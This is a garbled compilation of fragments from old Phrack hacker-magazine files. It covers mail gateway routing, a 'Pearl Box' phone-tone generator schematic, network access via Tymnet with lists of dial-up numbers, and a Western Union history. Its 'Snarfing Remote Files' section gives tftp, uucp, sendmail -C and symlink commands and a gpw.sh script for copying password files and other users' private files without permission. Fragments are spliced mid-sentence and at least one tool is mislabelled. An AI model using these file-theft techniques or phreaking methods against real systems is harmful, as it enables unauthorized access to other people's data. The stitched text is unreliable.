Memocom Netherlands 124 27, 28, 29
Memocom Netherlands 1 55
Starnet New Zealand 64 01, 02
Dialcom Puerto Rico 58 25
Telebox Singapore 88 10, 11, 12
Dialcom Taiwan 1 52
Telecom Gold United Kingdom 100 01, 04, 17,
80-89
DIALCOM USA 1 29, 30, 31, 32,
33, 34, 37, 38,
41-59, 61, 62, 63,
90-99
NOTE: You can also mail to username@NASAMAIL.NASA.GOV or
username@GSFCMAIL.NASA.GOV instead of going through the CMR gateway to
mail to NASAMAIL or GSFCMAIL.
For more information and instructions on how to use CMR, send a message to the
user support group at intermail-request@intermail.isi.edu (you'll get basically
what I've listed plus maybe a bit more). Please read Chapter 3 of The Future
Transcendent Saga (Limbo to Infinity) for specifics on mailing to these
destination mailing systems.
COMPUSERVE
~~~~~~~~~~
CompuServe is well known for its games and conferences. It does, though, have
mailing capability. Now, they have developed their own Internet domain, called
COMPUSERVE.COM. It is relatively new and mail can be routed through either
TUT.CIS.OHIO-STATE.EDU or NORTHWESTERN.ARPA.
Example: user%COMPUSERVE.COM@TUT.CIS.OHIO-STATE.EDU or replace
TUT.CIS.OHIO-STATE.EDU with NORTHWESTERN.ARPA).
The CompuServe link appears to be a polled UUCP connection at the gateway
machine. It is actually managed via a set of shell scripts and a comm utility
called xcomm, which operates via command scripts built on the fly by the shell
scripts during analysis of what jobs exist to go into and out of CompuServe.
CompuServe subscriber accounts of the form 7xxxx,yyyy can be addressed as
7xxxx.yyyy@compuserve.com. CompuServe employees can be addressed by their
usernames in the csi.compuserve.com subdomain. CIS subscribers write mail to
">inet:user@host.domain" to mail to users on the Wide-Area Networks, where
">gateway:" is CompuServe's internal gateway access syntax. The gateway
generates fully-RFC-compliant headers.
To fully extrapolate -- from the CompuServe side, you would use their EasyPlex
mail system to send mail to someone in BITNET or the Internet. For example,
to send me mail at my Bitnet id, you would address it to:
INET:C488869%UMCVMB.BITNET@CUNYVM.CUNY.EDU
Or to my Internet id:
INET:C488869@UMCVMB.MISSOURI.EDU
Now, if you have a BITNET to Internet userid, this is a silly thing to do,
since your connect time to CompuServe costs you money. However, you can use
this information to let people on CompuServe contact YOU. CompuServe Customer
Service says that there is no charge to either receive or send a message to the
Internet or BITNET.
DASNET
~~~~~~
DASnet is a smaller network that connects to the Wide-Area Networks but charges
for their service. DASnet subscribers get charged for both mail to users on
other networks AND mail for them from users of other networks. The following
is a brief description of DASnet, some of which was taken from their
promotional text letter.
DASnet allows you to exchange electronic mail with people on more than 20
systems and networks that are interconnected with DASnet. One of the
drawbacks, though, is that, after being subscribed to these services, you must
then subscribe to DASnet, which is a separate cost. Members of Wide-Area
networks can subscribe to DASnet too. Some of the networks and systems
reachable through DASnet include the following:
ABA/net, ATT Mail, BIX (Byte Information eXchange), DASnet Network,
Dialcom, EIES, EasyLink, Envoy 100, FAX, GeoMail, INET, MCI Mail, NWI,
PeaceNet/EcoNet, Portal Communications, The Meta Network, The Source,
Telemail, ATI's Telemail (Japan), Telex, TWICS (Japan), UNISON, UUCP, The
WELL, and Domains (i.e. ".COM" and ".EDU" etc.). New systems are added
all of the time. As of the writing of this file, Connect, GoverNET,
MacNET, and The American Institute of Physics PI-MAIL are soon to be
connected.
You can get various accounts on DASnet including:
o Corporate Accounts -- If your organization wants more than one individual
subscription.
o Site Subscriptions -- If you want DASnet to link directly to your
SAGE **
There was an error in the transcieving. Part was erased. This is all
That was Salvageble... Sorry.. -= Exodus =-_
==Phrack Inc.==
Volume Three, Issue 28, File #5 of 12
/////////////////////\\\\\\\\\\\\\\\\\\\\\
|| ||
|| A Real Functioning PEARL BOX Schematic ||
|| ||
|| Written, Tested, and Used ||
|| ||
|| by Dispater ||
|| ||
|| July 1, 1989 ||
|| ||
\\\\\\\\\\\\\\\\\\\\\/////////////////////
Introduction: After reading the earlier renditions of schematics for the Pearl
Box, I decided that there was an easier and cheaper way of doing
the same thing with an IC and parts you probably have just
laying around the house.
What Is A Pearl Box and Why Do I Want One?
A Pearl Box is a tone generating device that is used to make a wide range
of single tones. Therefore, it would be very easy to modify this basic
design to make a Blue Box by making 2 Pearl Boxes and joining them
together in some fashion.
A Pearl Box can be used to create any tone you wish that other boxes may
not. It also has a tone sweep option that can be used for numerous things
like detecting different types of phone tapping devices.
Parts List:
CD4049 RCA integrated circuit
.1 uF disk capacitor
1 uF 16V electrolitic capacitor
1K resistor
10M resistor
1meg pot
1N914 diode
Some SPST momentary push-button switches
1 SPDT toggle switch
9 Volt battery & clip
and miscellaneous stuff you should have laying around the house.
State-of-the-Art-Text Schematic:
+ 16V 1uF -
_______________________________||_____
| ! ! || | _
| _______________________ |__________| |/| 8ohms
____|__|_____:__|__:__|_ | __________| | |
| 9 10 11 12 13 14 15 16 | | | |_|\|
| CD4049UBE | | |
|_1__2__3__4__5__6__7__8_| : | _
| | |__| |__| | |____________________|_________[-]
| | ! ! : [b]
| |__________________________| [a]
| : : | [t]
| ! 1N914 ! ! [t]
|___________|/|_____________________________________[+]
: |\| : :
| | |
| 10M | |
|___/\/\/\__| |
| | |
|_____||____| | <-- These 2 wires to the center pole
|| | | of switch.
.1uF 50V | |
| |
_______________________| |_____________________________
| ___[Toggle Switch]____________ |
| | | ___ |
| | | o o |
| | | /\/\/\___| |__|
|_/\/\/\____/\/\/\ | | ^ |
1K ^ | |____| ___ |
|___| | o o |
| /\/\/\___| |__|
(pAakala Administrator: Gary W. Krumbine
Gen Directorate Of Post & AT&T Information Systems
Phone: 35806921730 Lincroft, NJ 07738
Phone: +1 201 576 2658
MHS Gateway: mhs!telemail MHS Gateway: mhs
Administrator: Jim Kelsay Administrator: AT&T Mail MHS
GTE Telenet Comm Corp Gateway
Reston, VA 22096 AT&T
Phone: +1 703 689 6034 Lincroft, NJ 08838
Phone: +1 800 624 5672
CMR
~~~
Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a
mail relay service between the Internet and three commercial electronic mail
systems: US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail,
NSFMAIL, and USDA-MAIL).
An important note: The only requirement for using this mail gateway is that
the work conducted
- Exodus -_
==Phrack Inc.==
Volume Three, Issue 28, File #6 of 12
+++++++++++++++++++++++++++++++++++++
+ +
+ Snarfing Remote Files +
+ +
+ by +
+ +
+ Dark OverLord +
+ +
+++++++++++++++++++++++++++++++++++++
There are many ways of getting copies of files from a remote system that you
do not have permission to read or an account on login on to and access them
through. Many administrators do not even bother to restrict many access
points that you can use.
Here are the simplest ways:
A) Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy
of a file if you are running on an Internet based network.
B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy of a file
if uucp connections are running on that system.
C) Access one of many known security loopholes.
In the following examples, we will use the passwd file as the file to acquire
since it is a readable file that can be found on most systems that these
attacks are valid on.
Method A :
1) First start the tftp program:
Enter the command:
tftp
[You have the following prompt:]
tftp>
2) The next step is to connect to the system that you wish to retrieve files
from. At the tftp, type:
tftp> connect other.system.com
3) Now request the file you wish to get a copy of (in our case, the
passwd file /etc/passwd ):
tftp> get /etc/passwd /tmp/passwd
[You should see something that looks like the following:]
Received 185659 bytes in 22 seconds.
4) Now exit the tftp program with the "quit" command:
tftp> quit
You should now have a copy of other.system.com's passwd file in your directory.
NOTE: Some Unix systems' tftp programs have a different syntax. The above was
tested under SunOS 4.0
For example, on Apollos, the syntax is:
tftp -{g|g!|p|r|w} [netascii|image]
Thus you must use the command:
tftp -g password_file networked-host /etc/passwd
Consult your local "man" pages for more info (or in other words RTFM).
At the end of this article, I will include a shell script that will snarf a
password file from a remote host. To use it type:
gpw system_name
Method B :
Assuming we are getting the file /etc/passwd from the system uusucker, and
our system has a direct uucp connection to that system, it is possible to
request a copy of the file through the uucp links. The following command will
request that a copy of the passwd file be copied into uucp's home directory
/usr/spool/uucppublic :
uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd'
The flag "-m" means you will be notified by mail when the transfer is
completed.
Method C:
The third possible way to access the desired file requires that you have
the login permission to the system.
In this case we will utilize a well-known bug in Unix's sendmail daemon.
The sendmail program has and option "-C" in which you can specify the
configuration file to use (by default this file is /usr/lib/sendmail.cf or
/etc/sendmail.cf). It should also be noted that the diagnostics outputted by
sendmail contain the offending lines of text. Also note that the sendmail
program runs setuid root.
The way you can abuse this set of facts (if you have not yet guessed) is by
specifying the file you wish read as the configuration file. Thus the command:
sendmail -C/usr/accounts/random_joe/private/file
Will give you a copy of random joe's private file.
Another similar trick is to symlink your .mailcf file to joe's file and mail
someone. When mail executes sendmail (to send the mail), it will load in your
mailcf and barf out joe's stuff.
First, link joe's file to your .mailcf .
ln -s /usr/accounts/random_joe/private/file $HOME/.mailcf
Next, send mail to someone.
mail C488869@umcvmb.missouri.edu
And have fun.
-=-Cut Here=-=-=-Cut Here=-=-=- gpw.sh =-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-=
:
: gpw copyright(c) Dark Overlord
:
/usr/ucb/tftp $1 << EOF
mode ascii
verbose
trace
get /etc/passwd /tmp/pw.$1
quit
EOF
-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-=
_______________________________________________________________________________
** END OF MESSAGE **
#EOI
Exodus
_
==Phrack Inc==
Volume Three, Issue 30, File #10 of 12
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=== ===
=== Western Union ===
=== Telex, TWX, and Time Service ===
=== ===
=== by Phone Phanatic ===
=== ===
=== September 17, 1989 ===
=== ===
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
"Until a few years ago -- maybe ten -- it was very common to
see TWX and Telex machines in almost every business place."
There were only minor differences between Telex and TWX. The biggest
difference was that the former was always run by Western Union, while the
latter was run by the Bell System for a number of years. TWX literally meant
"(T)ype(W)riter e(x)change," and it was Bell's answer to competition from
Western Union. There were "three row" and "four row" machines, meaning the
number of keys on the keyboard and how they were laid out. The "three row"
machines were simply part of the regular phone network; that is, they could
dial out and talk to another TWX also connected on regular phone lines.
Eventually these were phased out in favor of "newer and more improved" machines
with additional keys, as well as a paper tape reader attachment which allowed
sending the same message repeatedly to many different machines. These "four
row" machines were not on the regular phone network, but were assigned their
own area codes (410-510-610-710-810-910) where they still remain today. The
only way a four row machine could call a three row machine or vice-versa was
through a gateway of sorts which translated some of the character set unique to
each machine.
Western Union's network was called Telex and in addition to being able to
contact (by dial up) other similar machines, Telex could connect with TWX (and
vice-versa) as well as all the Western Union public offices around the country.
Until the late 1950's or early 1960's, every small town in America had a
Western Union office. Big cities like Chicago had perhaps a dozen of them, and
they used messengers to hand deliver telegrams around town. Telegrams could be
placed in person at any public office, or could be called in to the nearest
public office.
By arrangement with most telcos, the Western Union office in town nearly always
had the phone number 4321, later supplemented in automated exchanges with some
prefix XXX-4321. Telegrams could be charged to your home phone bill (this is
still the case in some communities) and from a coin phone, one did not ask for
4321, but rather, called the operator and asked for Western Union. This was
necessary since once the telegram had been given verbally to the wire clerk,
s/he in turn had to flash the hook and get your operator back on the line to
tell them "collect five dollars and twenty cents" or whatever the cost was.
Telegrams, like phone calls, could be sent collect or billed third party. If
you had an account with Western Union, i.e. a Telex machine in your office, you
could charge the calls there, but most likely you would simply send the
telegram from there in the first place.
Sometime in the early 1960's, Western Union filed suit against AT&T asking that
they turn over their TWX business to them. They cited an earlier court ruling,
circa 1950's, which said AT&T was prohibited from acquiring any more telephone
operating companies except under certain conditions. The Supreme Court agreed
with Western Union that "spoken messages" were the domain of Ma Bell, but
"written messages" were the domain of Western Union. So Bell was required to
divest itself of the TWX network, and Western Union has operated it since,
although a few years ago they began phasing out the phrase "TWX" in favor of
"Telex II"; their original device being "Telex I" of course. TWX still uses
ten digit dialing with 610 (Canada) or 710/910 (USA) being the leading three
digits. Apparently 410-510 have been abandoned; or at least they are used very
little, and Bellcore has assigned 510 to the San Francisco area starting in a
year or so. 410 still has some funny things on it, like the Western Union
"Infomaster," which is a computer that functions like a gateway between Telex,
TWX, EasyLink and some other stuff.
Today, the Western Union network is but a skeleton of its former self. Now
most of their messages are handled on dial up terminals connected to the public
phone network. It has been estimated the TWX/Telex business is about fifty
percent of what it was a decade ago, if that much.
Then there was the Time Service, a neat thing which Western Union offered for
over seventy years, until it was discontinued in the middle 1960's. The Time
Service provided an important function in the days before alternating current
was commonly available. For example, Chicago didn't have AC electricity until
about 1945. Prior to that we used DC, or direct current.
Well, to run an electric clock, you need 60 cycles AC current for obvious
reasons, so prior to the conversion from DC power to AC power, electric wall
clocks such as you see in every office were unheard of. How were people to
tell the time of day accurately? Enter the Western Union clock.
The Western Union, or "telegraph clock" was a spring driven wind up clock, but
with a difference. The clocks were "perpetually self-winding," manufactured by
the Self-Winding Clock Company of New York City. They had large batteries
inside them, known as "telephone cells" which had a life of about ten years
each. A mechanical contrivance in the clock would rotate as the clock spring
unwound, and once each hour would cause two metal clips to contact for about
ten seconds, which would pass juice to the little motor in the clock which in
turn re-wound the main spring. The principle was the same as the battery
operated clocks we see today. The battery does not actually run the clock --
direct current can't do that -- but it does power the tiny motor which re-winds
the spring which actually drives the clock.
The Western Union clocks came in various sizes and shapes, ranging from the
smallest dials which were nine inches in diameter to the largest which were
about eighteen inches in diameter. Some had sweep second hands; others did
not. Some had a little red light bulb on the front which would flash. The
typical model was about sixteen inches, and was found in offices, schools,
transportation depots, radio station offices, and of course in the telegraph
office itself.
The one thing all the clocks had in common was their brown metal case and
cream-colored face, with the insignia "Western Union" and their corporate logo
in those days which was a bolt of electricity, sort of like a letter "Z" laying
on its side. And in somewhat smaller print below, the words "Naval Observatory
Time."
The local clocks in an office or school or wherever were calibrated by a
"master clock" (actually a sub-master) on the premises. Once an hour on the
hour, the (sub) master clock would drop a metal contact for just a half second,
and send about nine volts DC up the line to all the local clocks. They in turn
had a "tolerance" of about two minutes on both sides of the hour so that the
current coming to them would yank the minute hand exactly upright onto the
twelve from either direction if the clock was fast or slow.
The sub-master clocks in each building were in turn serviced by the master
clock in town; usually this was the one in the telegraph office. Every hour on
the half hour, the master clock in the telegraph office would throw current to
the sub-masters, yanking them into synch as required. And as for the telegraph
offices themselves, they were serviced twice a day by -- you guessed it -- the
Naval Observatory Master clock in Our Nation's Capitol, by the same routine.
Someone there would press half a dozen buttons at the same time, using all
available fingers; current would flow to every telegraph office and synch all
the master clocks in every community. Western Union charged fifty cents per
month for the service, and tossed the clock in for free! Oh yes, there was an
installation charge of about two dollars when you first had service (i.e. a
clock) installed.
The clocks were installed and maintained by the "clockman," a technician from
Western Union who spent his day going around hanging new clocks, taking them
out of service, changing batteries every few years for each clock, etc.
What a panic it was for them when "war time" (what we now call Daylight Savings
Time) came around each year! Wally, the guy who serviced all the clocks in
downtown Chicago had to start on *Thursday* before the Sunday official
changeover just to finish them all by *Tuesday* following. He would literally
rush in an office, use his screwdriver to open the case, twirl the hour hand
around one hour forward in the spring, (or eleven hours *forward* in the fall
since the hands could not be moved backward beyond the twelve going
counterclockwise), slam the case back on, screw it in, and move down the hall
to the next clock and repeat the process. He could finish several dozen clocks
per day, and usually the office assigned him a helper twice a year for these
events.
He said they never bothered to line the minute hand up just right, because it
would have taken too long, and ".....anyway, as long as we got it within a
minute or so, it would synch itself the next time the master clock sent a
signal..." Working fast, it took a minute to a minute and a half to open the
case, twirl the minute hand, put the case back on, "stop and b.s. with the
receptionist for a couple seconds" and move along.
The master clock sent its signal over regular telco phone lines. Usually it
would terminate in the main office of whatever place it was, and the (sub)
master there would take over at that point.
Wally said it was very important to do a professional job of hanging the clock
to begin with. It had to be level, and the pendulum had to be just right,
otherwise the clock would gain or lose more time than could be accommodated in
the hourly synching process. He said it was a very rare clock that actually
was out by even a minute once an hour, let alone the two minutes of tolerance
built into the gear works.
"...Sometimes I would come to work on Monday morning, and find out
in the office that the clock line had gone open Friday evening. So
nobody all weekend got a signal. Usually I would go down a manhole
and find it open someplace where one of the Bell guys messed it up,
or took it off and never put it back on. To find out where it was
open, someone in the office would 'ring out' the line; I'd go around
downtown following the loop as we had it laid out, and keep listening
on my headset for it. When I found the break or the open, I would
tie it down again and the office would release the line; but then I
had to go to all the clocks *before* that point and restart them,
since the constant current from the office during the search had
usually caused them to stop."
But he said, time and again, the clocks were usually so well mounted and hung
that "...it was rare we would find one so far out of synch that we had to
adjust it manually. Usually the first signal to make it through once I
repaired the circuit would yank everyone in town to make up for whatever they
lost or gained over the weekend..."
In 1965, Western Union decided to discontinue the Time Service. In a nostalgic
letter to subscribers, they announced their decision to suspend operations at
the end of the current month, but said "for old time's sake" anyone who had a
clock was welcome to keep it and continue using it; there just would not be any
setting signals from the master clocks any longer.
Within a day or two of the official announcement, every Western Union clock in
the Chicago area headquarters building was gone. The executives snatched them
off the wall, and took them home for the day when they would have historical
value. All the clocks in the telegraph offices disappeared about the same
time, to be replaced with standard office-style electric wall clocks.
_______________________________________________________________________________
-= Exodus =- '94_
==Phrack Inc.==
Volume Three, Issue 30, File #3 of 12
[-][-] [-][-] [-][-] [-][-] [-][-] [-][-] [-][-]
[-] [-]
[-] Hacking & Tymnet [-]
[-] [-]
[-] by [-]
[-] [-]
[-] Synthecide [-]
[-] [-]
[-][-] [-][-] [-][-] [-][-] [-][-] [-][-] [-][-]
There are literally hundreds of systems connected to some of these larger
networks, like Tymnet and Telenet. Navigation around these networks is very
simple, and usually well explained in their on-line documentation.
Furthermore, some systems will actually tell you what is connected and how to
get to it. In the case of Tymnet, after dialing in, at the log in prompt, type
"information" for the on-line documentation.
Accessing systems through networks is as simple as providing an address for it
to connect to. The best way to learn about the addresses and how to do things
on a network is to read "A Novice's Guide to Hacking (1989 Edition)" which was
in Issue 22, File 4 of 12, Volume Two (December 23, 1988). Some points are
re-iterated here.
Once on a network, you provide the NUA (network user address) of the system you
wish to connect to. NUAs are strings of 15 digits, broken up in to 3 fields,
the NETWORK ADDRESS, the AREA PREFIX, and the DNIC. Each field has 5 digits,
and are left padded with 0's where necessary.
The DNIC determines which network to take the address from. Tymnet, for
example, is 03106. 03110 is Telenet.
The AREA PREFIX and NETWORK ADDRESS determine the connection point. By
providing the address of the system that you wish to connect to, you will be
accessing it through the net... as if you were calling it directly. Obviously,
then, this provides one more level of security for access.
By connecting to an outdial, you can increase again the level of security you
enjoy, by using the outdial in that area to connect to the remote system.
Addendum -- Accessing Tymnet Over Local Packet Networks
This is just another way to get that extra step and/or bypass other routes.
This table is copied from Tymnet's on-line information. As said earlier, it's
a great resource, this on-line information!
BELL ATLANTIC
NODE CITY STATE SPEED ACCESS NUMBER NTWK
---- ------------------- -------------- ------ ------------ ----
03526 DOVER DELAWARE 300/2400 302/734-9465 @PDN
03526 GEORGETOWN DELAWARE 300/2400 302/856-7055 @PDN
03526 NEWARK DELAWARE 300/2400 302/366-0800 @PDN
03526 WILMINGTON DELAWARE 300/1200 302/428-0030 @PDN
03526 WILMINGTON DELAWARE 2400 302/655-1144 @PDN
06254 WASHINGTON DIST. OF COL. 300/1200 202/479-7214 @PDN
06254 WASHINGTON (MIDTOWN) DIST. OF COL. 2400 202/785-1688 @PDN
06254 WASHINGTON (DOWNTOWN) DIST. OF COL. 300/1200 202/393-6003 @PDN
06254 WASHINGTON (MIDTOWN) DIST. OF COL. 300/1200 202/293-4641 @PDN
06254 WASHINGTON DIST. OF COL. 300/1200 202/546-5549 @PDN
06254 WASHINGTON DIST. OF COL. 300/1200 202/328-0619 @PDN
06254 BETHESDA MARYLAND 300/1200 301/986-9942 @PDN
06254 COLESVILLE MARYLAND 300/2400 301/989-9324 @PDN
06254 HYATTSVILLE MARYLAND 300/1200 301/779-9935 @PDN
06254 LAUREL MARYLAND 300/2400 301/490-9971 @PDN
06254 ROCKVILLE MARYLAND 300/1200 301/340-9903 @PDN
06254 SILVER SPRING MARYLAND 300/1200 301/495-9911 @PDN
07771 BERNARDSVILLE NEW JERSEY 300/2400 201/766-7138 @PDN
07771 CLINTON NEW JERSEY 300-1200 201/730-8693 @PDN
07771 DOVER NEW JERSEY 300/2400 201/361-9211 @PDN
07771 EATONTOWN/RED BANK NEW JERSEY 300/2400 201/758-8000 @PDN
07771 ELIZABETH NEW JERSEY 300/2400 201/289-5100 @PDN
07771 ENGLEWOOD NEW JERSEY 300/2400 201/871-3000 @PDN
07771 FREEHOLD NEW JERSEY 300/2400 201/780-8890 @PDN
07771 HACKENSACK NEW JERSEY 300/2400 201/343-9200 @PDN
07771 JERSEY CITY NEW JERSEY 300/2400 201/659-3800 @PDN
07771 LIVINGSTON NEW JERSEY 300/2400 201/533-0561 @PDN
07771 LONG BRANCH/RED BANK NEW JERSEY 300/2400 201/758-8000 @PDN
07771 MADISON NEW JERSEY 300/2400 201/593-0004 @PDN
07771 METUCHEN NEW JERSEY 300/2400 201/906-9500 @PDN
07771 MIDDLETOWN NEW JERSEY 300/2400 201/957-9000 @PDN
07771 MORRISTOWN NEW JERSEY 300/2400 201/455-0437 @PDN
07771 NEWARK NEW JERSEY 300/2400 201/623-0083 @PDN
07771 NEW BRUNSWICK NEW JERSEY 300/2400 201/247-2700 @PDN
07771 NEW FOUNDLAND NEW JERSEY 300/2400 201/697-9380 @PDN
07771 PASSAIC NEW JERSEY 300/2400 201/473-6200 @PDN
07771 PATERSON NEW JERSEY 300/2400 201/345-7700 @PDN
07771 PHILLIPSBURG NEW JERSEY 300/2400 201/454-9270 @PDN
07771 POMPTON LAKES NEW JERSEY 300/2400 201/835-8400 @PDN
07771 RED BANK NEW JERSEY 300/2400 201/758-8000 @PDN
07771 RIDGEWOOD NEW JERSEY 300/2400 201/445-4800 @PDN
07771 SOMERVILLE NEW JERSEY 300/2400 201/218-1200 @PDN
07771 SOUTH RIVER NEW JERSEY 300/2400 201/390-9100 @PDN
07771 SPRING LAKE NEW JERSEY 300/2400 201/974-0850 @PDN
07771 TOMS RIVER NEW JERSEY 300/2400 201/286-3800 @PDN
07771 WASHINGTON NEW JERSEY 300/2400 201/689-6894 @PDN
07771 WAYNE/PATERSON NEW JERSEY 300/2400 201/345-7700 @PDN
03526 ALLENTOWN PENNSYLVANIA 300/1200 215/435-0266 @PDN
11301 ALTOONA PENNSYLVANIA 300/1200 814/946-8639 @PDN
11301 ALTOONA PENNSYLVANIA 2400 814/949-0505 @PDN
03526 AMBLER PENNSYLVANIA 300/1200 215/283-2170 @PDN
10672 AMBRIDGE PENNSYLVANIA 300/1200 412/266-9610 @PDN
10672 CARNEGIE PENNSYLVANIA 300/1200 412/276-1882 @PDN
10672 CHARLEROI PENNSYLVANIA 300/1200 412/483-9100 @PDN
03526 CHESTER HEIGHTS PENNSYLVANIA 300/1200 215/358-0820 @PDN
03526 COATESVILLE PENNSYLVANIA 300/1200 215/383-7212 @PDN
10672 CONNELLSVILLE PENNSYLVANIA 300/1200 412/628-7560 @PDN
03526 DOWNINGTON/COATES. PENNSYLVANIA 300/1200 215/383-7212 @PDN
03562 DOYLESTOWN PENNSYLVANIA 300/1200 215/340-0052 @PDN
03562 GERMANTOWN PENNSYLVANIA 300/1200 215-843-4075 @PDN
10672 GLENSHAW PENNSYLVANIA 300/1200 412/487-6868 @PDN
10672 GREENSBURG PENNSYLVANIA 300/1200 412/836-7840 @PDN
11301 HARRISBURG PENNSYLVANIA 300/1200 717/236-3274 @PDN
11301 HARRISBURG PENNSYLVANIA 2400 717/238-0450 @PDN
10672 INDIANA PENNSYLVANIA 300/1200 412/465-7210 @PDN
03526 KING OF PRUSSIA PENNSYLVANIA 300/1200 215/270-2970 @PDN
03526 KIRKLYN PENNSYLVANIA 300/1200 215/789-5650 @PDN
03526 LANSDOWNE PENNSYLVANIA 300/1200 215/626-9001 @PDN
10672 LATROBE PENNSYLVANIA 300/1200 412/537-0340 @PDN
11301 LEMOYNE/HARRISBURG PENNSYLVANIA 300/1200 717/236-3274 @PDN
10672 MCKEESPORT PENNSYLVANIA 300/1200 412/673-6200 @PDN
10672 NEW CASTLE PENNSYLVANIA 300/1200 412/658-5982 @PDN
10672 NEW KENSINGTON PENNSYLVANIA 300/1200 412/337-0510 @PDN
03526 NORRISTOWN PENNSYLVANIA 300/1200 215/270-2970 @PDN
03526 PAOLI PENNSYLVANIA 300/1200 215/648-0010 @PDN
03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/923-7792 @PDN
03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/557-0659 @PDN
03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/545-7886 @PDN
03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/677-0321 @PDN
03562 PHILADELPHIA PENNSYLVANIA 2400 215/625-0770 @PDN
10672 PITTSBURGH PENNSYLVANIA 300/1200 412/281-8950 @PDN
10672 PITTSBURGH PENNSYLVANIA 300/1200 412-687-4131 @PDN
10672 PITTSBURGH PENNSYLVANIA 2400 412/261-9732 @PDN
10672 POTTSTOWN PENNSYLVANIA 300/1200 215/327-8032 @PDN
03526 QUAKERTOWN PENNSYLVANIA 300/1200 215/538-7032 @PDN
03526 READING PENNSYLVANIA 300/1200 215/375-7570 @PDN
10672 ROCHESTER PENNSYLVANIA 300/1200 412/728-9770 @PDN
03526 SCRANTON PENNSYLVANIA 300/1200 717/348-1123 @PDN
03526 SCRANTON PENNSYLVANIA 2400 717/341-1860 @PDN
10672 SHARON PENNSYLVANIA 300/1200 412/342-1681 @PDN 03526 TULLYTOWN
PENNSYLVANIA 300/1200 215/547-3300 @PDN
10672 UNIONTOWN PENNSYLVANIA 300/1200 412/437-5640 @PDN
03562 VALLEY FORGE PENNSYLVANIA 300/1200 215/270-2970 @PDN
10672 WASHINGTON PENNSYLVANIA 300/1200 412/223-9090 @PDN
03526 WAYNE PENNSYLVANIA 300/1200 215/341-9605 @PDN
10672 WILKINSBURG PENNSYLVANIA 300/1200 412/241-1006 @PDN
06254 ALEXANDRIA VIRGINIA 300/1200 703/683-6710 @PDN
06254 ARLINGTON VIRGINIA 300/1200 703/524-8961 @PDN
06254 FAIRFAX VIRGINIA 300/1200 703/385-1343 @PDN
06254 MCLEAN VIRGINIA 300/1200 703/848-2941 @PDN
@PDN BELL ATLANTIC - NETWORK NAME IS PUBLIC DATA NETWORK (PDN)
(CONNECT MESSAGE)
. _. _. _< _C _R _> _ (SYNCHRONIZES DATA SPEEDS)
WELCOME TO THE BPA/DST PDN
*. _T _ _< _C _R _> _ (TYMNET ADDRESS)
131069 (ADDRESS CONFIRMATION - TYMNET DNIC)
COM (CONFIRMATION OF CALL SET-UP)
-GWY 0XXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES)
BELL SOUTH
NODE CITY STATE DENSITY ACCESS NUMBER MODEM
----- -------------------- -------------- ------ ------------ -----
10207 ATLANTA GEORGIA 300/1200 404/261-4633 @PLSK
10207 ATHENS GEORGIA 300/1200 404/354-0614 @PLSK
10207 COLUMBUS GEORGIA 300/1200 404/324-5771 @PLSK
10207 ROME GEORGIA 300/1200 404/234/7542 @PLSK
@PLSK BELLSOUTH - NETWORK NAME IS PULSELINK
(CONNECT MESSAGE)
. _. _. _ _< _C _R _> _ (SYNCHRONIZES DATA SPEEDS)
(DOES NOT ECHO TO THE TERMINAL)
CONNECTED
PULSELINK
1 _3 _1 _0 _6 _ (TYMNET ADDRESS)
(DOES NOT ECHO TO THE TERMINAL)
PULSELINK: CALL CONNECTED TO 1 3106
-GWY 0XXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES)
PACIFIC BELL
NODE CITY STATE DENSITY ACCESS NUMBER NTWK
----- ------------------- -------------- ------ ------------ ----
03306 BERKELEY CALIFORNIA 300/1200 415-548-2121 @PPS
06272 EL SEGUNDO CALIFORNIA 300/1200 213-640-8548 @PPS
06272 FULLERTON CALIFORNIA 300/1200 714-441-2777 @PPS
06272 INGLEWOOD CALIFORNIA 300/1200 213-216-7667 @PPS
06272 LOS ANGELES(DOWNTOWN) CALIFORNIA 300/1200 213-687-3727 @PPS
06272 LOS ANGELES CALIFORNIA 300/1200 213-480-1677 @PPS
03306 MOUNTAIN VIEW CALIFORNIA 300/1200 415-960-3363 @PPS
03306 OAKLAND CALIFORNIA 300/1200 415-893-9889 @PPS
03306 PALO ALTO CALIFORNIA 300/1200 415-325-4666 @PPS
06272 PASADENA CALIFORNIA 300/1200 818-356-0780 @PPS
03306 SAN FRANCISCO CALIFORNIA 300/1200 415-543-8275 @PPS
03306 SAN FRANCISCO CALIFORNIA 300/1200 415-626-5380 @PPS
03306 SAN FRANCISCO CALIFORNIA 300/1200 415-362-2280 @PPS
03306 SAN JOSE CALIFORNIA 300/1200 408-920-0888 @PPS
06272 SANTA ANNA CALIFORNIA 300/1200 714-972-9844 @PPS
06272 VAN NUYS CALIFORNIA 300/1200 818-780-1066 @PPS
@PPS PACIFIC BELL - NETWORK NAME IS PUBLIC PACKET SWITCHING (PPS)
(CONNECT MESSAGE)
. _. _. _< _C _R _ (SYNCHRONIZES DATA SPEEDS)>
(DOES NOT ECHO TO THE TERMINAL)
ONLINE 1200
WELCOME TO PPS: 415-XXX-XXXX
1 _3 _1 _0 _6 _9 _ (TYMNET ADDRESS)
(DOES NOT ECHO UNTIL TYMNET RESPONDS)
-GWY 0XXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES)
SOUTHWESTERN BELL
NODE CITY STATE DENSITY ACCESS NUMBERS NWRK
----- -------------------- -------------- ------- ------------ -----
05443 KANSAS CITY KANSAS 300/1200 316/225-9951 @MRLK
05443 HAYS KANSAS 300/1200 913/625-8100 @MRLK
05443 HUTCHINSON KANSAS 300/1200 316/669-1052 @MRLK
05443 LAWRENCE KANSAS 300/1200 913/841-5580 @MRLK
05443 MANHATTAN KANSAS 300/1200 913/539-9291 @MRLK
05443 PARSONS KANSAS 300/1200 316/421-0620 @MRLK
